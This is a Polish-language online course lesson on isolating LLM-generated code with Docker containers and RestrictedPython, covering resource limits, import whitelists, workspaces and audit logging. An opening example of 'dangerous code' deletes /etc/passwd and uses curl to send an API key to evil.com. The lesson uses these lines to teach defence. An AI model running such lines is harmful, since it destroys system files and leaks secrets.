Izolowanie za pomocą Docker i RestrictedPython
Utwórz izolowane środowiska wykonywania z użyciem kontenerów Docker z limitami zasobów, izolacją sieci i systemami plików tylko do odczytu, aby bezpiecznie uruchamiać niezaufany kod wygenerowany przez LLM.
Izolowanie za pomocą Docker i RestrictedPython to bezpłatna lekcja AI Engineering Academy na CoddyKit. To lekcja 2 z 4. Możesz przeczytać całą lekcję poniżej za darmo — a potem ćwiczyć ją interaktywnie w przeglądarce z wbudowanym edytorem kodu i tutorem AI dostępnym 24/7. To część ścieżki edukacyjnej AI Engineering Academy, a Twój postęp synchronizuje się między webem a aplikacją CoddyKit. Kurs AI Engineering Academy zawiera 4 lekcji w sumie.
Dlaczego izolowanie kodu w sandboxie jest niezbędne
Kod wygenerowany przez LLM działa z takimi samymi uprawnieniami jak proces, który go wywołuje. Nieostrożny lub złośliwie wstrzyknięty fragment kodu może usuwać pliki, odczytywać zmienne środowiskowe zawierające klucze API, wysyłać żądania sieciowe, wyczerpywać pamięć RAM lub moc CPU albo instalować tylne furtki. Izolowanie w sandboxie tworzy odseparowane środowisko wykonywania, które ogranicza możliwości wygenerowanego kodu i sprawia, że agenci wykonujący kod mogą bezpieczniej działać w środowisku produkcyjnym.
# Example of dangerous code an LLM might generate
import os
import subprocess
# Without sandboxing, this runs with full host permissions:
os.remove('/etc/passwd') # deletes system file
subprocess.run(['curl', 'http://evil.com', '-d', os.environ['OPENAI_API_KEY']]) # exfiltrates secrets
while True: pass # exhausts CPU
# Sandboxing prevents ALL of thisDocker jako sandbox
Kontenery Docker są najbardziej praktycznym rozwiązaniem do izolowania kodu wygenerowanego przez LLM w środowisku produkcyjnym. Każde wykonanie kodu odbywa się w nowym kontenerze utworzonym na podstawie minimalnego obrazu, z restrykcyjnymi limitami procesora, pamięci i czasu. Kontener nie ma dostępu do systemu plików hosta (poza jawnie zamontowanym obszarem roboczym), a dostęp do sieci jest wyłączony lub ograniczony do białej listy. Po zakończeniu wykonywania kontener jest usuwany.
import docker
import tempfile
import os
client = docker.from_env()
def execute_in_docker(code: str, timeout=30) -> tuple[str, str]:
# Write code to temp file
with tempfile.NamedTemporaryFile(mode='w', suffix='.py', delete=False) as f:
f.write(code)
host_path = f.name
try:
container = client.containers.run(
image='python:3.11-slim', # minimal Python image
command=f'python /workspace/code.py',
volumes={host_path: {'bind': '/workspace/code.py', 'mode': 'ro'}},
mem_limit='256m', # max 256 MB RAM
cpu_period=100000,
cpu_quota=50000, # 50% of 1 CPU core
network_disabled=True, # no internet access
read_only=True, # read-only root filesystem
remove=True, # auto-delete container
timeout=timeout
)
return container.decode('utf-8'), ''
except docker.errors.ContainerError as e:
return '', e.stderr.decode('utf-8')
finally:
os.unlink(host_path)Limity zasobów w Dockerze
Docker udostępnia szczegółową kontrolę zasobów kontenerów działających w sandboxie. Najważniejsze limity, które należy ustawić, to: mem_limit ograniczający pamięć (np. 256m), cpu_quota ograniczający czas procesora, pids_limit zapobiegający fork bombom oraz timeout zatrzymujący zawieszony kod. Bez tych limitów źle napisany lub złośliwy fragment kodu może doprowadzić do awarii całej maszyny hosta przez wyczerpanie wszystkich dostępnych zasobów.
sandbox_config = {
'image': 'code-sandbox:latest',
'mem_limit': '256m', # 256 MB max RAM
'memswap_limit': '256m', # no swap (prevents RAM expansion via swap)
'cpu_quota': 50000, # 50% of a CPU core
'cpu_period': 100000,
'pids_limit': 64, # max 64 processes (prevents fork bombs)
'network_disabled': True, # no network
'read_only': True, # read-only root filesystem
'tmpfs': {'/tmp': ''}, # writable /tmp in memory only
'security_opt': ['no-new-privileges'], # prevent privilege escalation
'cap_drop': ['ALL'], # drop all Linux capabilities
'remove': True, # auto-remove after execution
}Tworzenie obrazu do wykonywania kodu
Uruchamianie kodu w minimalnym obrazie python:3.11-slim oznacza, że nie są dostępne biblioteki do analizy danych. Należy zbudować niestandardowy obraz sandboxa, w którym wcześniej zainstalowano pakiety często potrzebne agentom kodu (pandas, numpy, matplotlib, scikit-learn), aby nie musieli oni instalować pakietów z internetu w czasie działania. Wstępna instalacja znacznie przyspiesza również wykonywanie kodu.
# Dockerfile for code sandbox
# FROM python:3.11-slim
#
# RUN pip install --no-cache-dir \
# pandas==2.1.0 \
# numpy==1.25.0 \
# matplotlib==3.7.0 \
# scikit-learn==1.3.0 \
# requests==2.31.0 \
# beautifulsoup4==4.12.0
#
# # Create non-root user for extra security
# RUN useradd -m sandbox
# USER sandbox
#
# WORKDIR /workspace
# Build: docker build -t code-sandbox:latest .
# The agent uses this image for every executionRestrictedPython do izolowania w obrębie procesu
RestrictedPython to biblioteka Pythona, która kompiluje kod z ograniczeniami bezpieczeństwa wymuszanymi na poziomie AST. Blokuje niebezpieczne elementy wbudowane (exec, eval, __import__), ogranicza dostęp do atrybutów i uniemożliwia dostęp do metod dunder. RestrictedPython działa w tym samym procesie (bez narzutu Dockera), dzięki czemu jest znacznie szybszy, ale zapewnia słabszą izolację niż Docker i lepiej sprawdza się w przypadku prostego kodu o niskim ryzyku.
from RestrictedPython import compile_restricted, safe_globals, safe_builtins
from RestrictedPython.Guards import safe_iter_unpack_sequence, guarded_getitem
def execute_restricted(code: str) -> dict:
# Compile with restrictions
byte_code = compile_restricted(code, '<string>', 'exec')
# Define a restricted global namespace
restricted_globals = {
'__builtins__': safe_builtins, # no exec, eval, __import__, open
'_getiter_': iter,
'_getitem_': guarded_getitem,
'_iter_unpack_sequence_': safe_iter_unpack_sequence,
'print': print, # allow print
}
local_vars = {}
exec(byte_code, restricted_globals, local_vars)
return local_vars
# Test
try:
result = execute_restricted('x = 2 + 2\nprint(x)')
except Exception as e:
print('Blocked:', e)Porównanie Dockera i RestrictedPython
Oba podejścia do izolowania mają różne kompromisy. Docker zapewnia prawdziwą izolację na poziomie systemu operacyjnego: każde wykonanie odbywa się w osobnym procesie bez współdzielonego stanu, a nawet próba wykorzystania luki w jądrze jest ograniczona do kontenera. Wadą jest narzut uruchomienia wynoszący od 0,5 do 2 sekund na wykonanie. RestrictedPython uruchamia się w ciągu milisekund i nie wymaga infrastruktury kontenerowej, ale zapewnia znacznie słabszą izolację oraz ma znane sposoby obejścia zabezpieczeń przez zaawansowanych atakujących.
# Decision guide
def choose_sandbox(requirements: dict) -> str:
if requirements.get('user_provided_code'): # untrusted third party code
return 'docker' # must use Docker for true isolation
if requirements.get('needs_filesystem_access'):
return 'docker' # Docker volumes are safer
if requirements.get('low_latency_critical'): # < 100ms per execution
return 'restrictedpython' # no container startup overhead
if requirements.get('llm_generated_internal_only'): # your own trusted agent
return 'restrictedpython' # acceptable risk, faster
return 'docker' # default to stronger isolation when in doubtZezwalanie tylko na dozwolone operacje
Zarówno Docker, jak i RestrictedPython obsługują białe listy: jawne zezwalanie wyłącznie na operacje rzeczywiście potrzebne agentowi kodu zamiast blokowania wszystkiego, co niebezpieczne. Można na przykład zezwolić na operacje pandas i numpy, a zablokować subprocess, socket i os.system. Białe listy są bezpieczniejszym rozwiązaniem niż czarne listy, ponieważ nie trzeba przewidywać każdego możliwego wektora ataku.
from RestrictedPython import safe_builtins
import pandas as pd
import numpy as np
# Whitelist approach: only provide what agents should use
ALLOWED_MODULES = {
'pandas': pd,
'numpy': np,
# NOT allowed: subprocess, socket, os, sys, importlib
}
def make_restricted_globals():
builtins = dict(safe_builtins) # safe subset of Python builtins
builtins['__import__'] = make_guarded_import(ALLOWED_MODULES)
return {'__builtins__': builtins, **ALLOWED_MODULES}
def make_guarded_import(allowed: dict):
def guarded_import(name, *args, **kwargs):
if name not in allowed:
raise ImportError(f'Import of {name} is not allowed in sandbox')
return allowed[name]
return guarded_importTrwałe woluminy obszaru roboczego
Agent kodu często musi zapisywać pliki pośrednie (oczyszczony plik CSV, wygenerowany wykres), które może odczytać kolejna iteracja kodu. W tym celu należy użyć w Dockerze woluminu przestrzeni roboczej: katalogu na hoście, który jest montowany w kontenerze z uprawnieniami do odczytu i zapisu. Każde wykonanie kontenera w ramach tej samej sesji współdzieli ten wolumin, dzięki czemu agent może w kolejnych iteracjach tworzyć zestaw plików w przestrzeni roboczej, podczas gdy główny system plików kontenera pozostaje tylko do odczytu.
import os
import tempfile
class AgentWorkspace:
def __init__(self):
self.dir = tempfile.mkdtemp(prefix='agent_workspace_')
os.chmod(self.dir, 0o755)
print(f'Workspace created: {self.dir}')
def get_docker_mount(self):
return {self.dir: {'bind': '/workspace', 'mode': 'rw'}}
def list_files(self):
return os.listdir(self.dir)
def cleanup(self):
import shutil
shutil.rmtree(self.dir)
print('Workspace cleaned up')
# Usage across iterations
workspace = AgentWorkspace()
for i, code in enumerate(agent_generated_code_iterations):
volumes = workspace.get_docker_mount()
output, err = execute_in_docker(code, volumes=volumes)
# Code in iteration 2 can read files written by iteration 1Izolowanie w środowiskach chmurowych
W środowisku produkcyjnym często warto uruchamiać izolowane środowiska wykonywania kodu w chmurze, a nie na serwerze API. Usługi takie jak AWS Lambda (z ograniczoną VPC), kontenery Google Cloud Run czy dedykowane usługi izolowania, takie jak E2B (e2b.dev), zapewniają zarządzane, odizolowane środowiska wykonywania kodu. E2B zostało stworzone specjalnie z myślą o agentach kodu AI i oferuje szybko uruchamianą piaskownicę Pythona z prostym API.
# E2B managed sandbox (e2b.dev)
from e2b_code_interpreter import Sandbox
def execute_with_e2b(code: str) -> tuple[str, str]:
with Sandbox() as sandbox:
execution = sandbox.run_code(code)
stdout = '\n'.join(execution.logs.stdout)
stderr = '\n'.join(execution.logs.stderr)
return stdout, stderr
# E2B handles: sandboxing, resource limits, network isolation
# Each sandbox starts in ~100ms and auto-expires after the session
output, error = execute_with_e2b('import pandas as pd\ndf = pd.DataFrame({"a": [1,2,3]})\nprint(df)')Monitorowanie i rejestrowanie audytowe
Nawet przy zastosowaniu piaskownicy należy rejestrować każde wykonanie kodu na potrzeby audytu bezpieczeństwa. Należy zapisywać: cały kod przesłany do wykonania, znacznik czasu i czas trwania wykonania, sesję agenta i użytkownika, który je wywołał, dane wyjściowe stdout/stderr oraz wszelkie podjęte próby naruszenia zabezpieczeń (zablokowane importy, osiągnięte limity zasobów). Taki ślad audytowy jest niezbędny do badania nieoczekiwanego działania i wykazywania zgodności z wymaganiami.
import time
import hashlib
def audited_execute(code: str, agent_id: str, session_id: str) -> dict:
code_hash = hashlib.sha256(code.encode()).hexdigest()[:16]
start = time.time()
stdout, stderr = execute_in_docker(code)
audit_record = {
'agent_id': agent_id,
'session_id': session_id,
'code_hash': code_hash,
'code_preview': code[:200], # first 200 chars
'start_time': start,
'duration_ms': (time.time() - start) * 1000,
'had_error': bool(stderr),
'output_length': len(stdout)
}
write_audit_log(audit_record)
return {'stdout': stdout, 'stderr': stderr, 'audit': audit_record}Wielowarstwowa ochrona agentów kodu
Żaden pojedynczy mechanizm izolowania nie jest doskonały. Należy stosować wielowarstwową ochronę: łączyć izolację Dockera z limitami zasobów, używać wewnątrz kontenera użytkownika innego niż root, wyłączać dostęp do sieci, korzystać z głównego systemu plików tylko do odczytu i z tmpfs dla /tmp, uruchamiać kontener na osobnej maszynie wirtualnej o niskich uprawnieniach lub w funkcji chmurowej oraz monitorować wykonanie pod kątem nietypowego użycia zasobów. Wiele niezależnych warstw oznacza, że ominięcie jednej z nich nie narusza całego systemu.
Szybki test
Sprawdź swoją wiedzę na temat izolowania wykonywania kodu omówionego w tej lekcji.
Podsumowanie lekcji
W tej lekcji dowiedziałeś się, że: izolowanie w Dockerze jest złotym standardem bezpiecznego uruchamiania kodu wygenerowanego przez LLM i wykorzystuje izolację na poziomie kontenera, limity zasobów oraz ograniczenia sieciowe; RestrictedPython to szybsza, lecz słabsza alternatywa działająca w tym samym procesie, odpowiednia dla agentów wewnętrznych o niskim ryzyku; a wielowarstwowa ochrona łączy wiele warstw zabezpieczeń, ponieważ żaden pojedynczy mechanizm nie jest wystarczający. Następnie omówimy zarządzanie stanem między kolejnymi etapami wykonywania kodu.
Ucz się Python dzięki korepetycjom AI — za darmo
Pisz i uruchamiaj kod w przeglądarce, otrzymuj natychmiastową pomoc od korepetytora AI dostępnego 24/7 i kontynuuj naukę w sieci lub w aplikacji.
- Kursy
- 30
- Lekcje
- 120
Często zadawane pytania
Czy lekcja „Izolowanie za pomocą Docker i RestrictedPython” jest bezpłatna?
Tak — pełny tekst „Izolowanie za pomocą Docker i RestrictedPython” jest dostępny za darmo tutaj w sieci. Aby ćwiczyć ją interaktywnie (wbudowany edytor kodu i tutor AI dostępny 24/7) i odblokować resztę kursu AI Engineering Academy, przejdź na CoddyKit PRO. Kurs AI Engineering Academy zawiera 4 lekcji w sumie.
Co nauczysz się w „Izolowanie za pomocą Docker i RestrictedPython”?
Utwórz izolowane środowiska wykonywania z użyciem kontenerów Docker z limitami zasobów, izolacją sieci i systemami plików tylko do odczytu, aby bezpiecznie uruchamiać niezaufany kod wygenerowany prze… Ćwiczysz AI Engineering Academy z praktycznym kodem, który uruchamiasz bezpośrednio w przeglądarce, a tutor AI dostępny 24/7 odpowiada na Twoje pytania podczas pracy nad lekcją.
Czy potrzebuję doświadczenia, aby zacząć AI Engineering Academy?
Nie wymagamy żadnego doświadczenia. AI Engineering Academy w CoddyKit jest strukturyzowany dla początkujących i zaawansowanych użytkowników, więc możesz zacząć tutaj lub od początku i uczyć się w swoim tempie. To lekcja 2 z 4.
Ile czasu zajmuje lekcja „Izolowanie za pomocą Docker i RestrictedPython”?
Większość lekcji CoddyKit trwa około 5–10 minut. Każda lekcja to mały, interaktywny krok, dzięki czemu robisz systematyczne postępy i zawsze wracasz dokładnie do tego samego miejsca — na webie i w aplikacji.
Czy mogę pisać i uruchamiać kod w tej lekcji AI Engineering Academy?
Tak. Każda lekcja AI Engineering Academy zawiera wbudowany edytor kodu, więc piszesz i uruchamiasz prawdziwy kod bezpośrednio w przeglądarce i od razu otrzymujesz sprzężenie zwrotne od AI — bez konfiguracji na komputerze.
Wszystkie lekcje w tym kursie
- Pętla wykonywania kodu
- Izolowanie za pomocą Docker i RestrictedPython
- Zarządzanie stanem między krokami wykonywania
- Budowanie agenta do analizy danych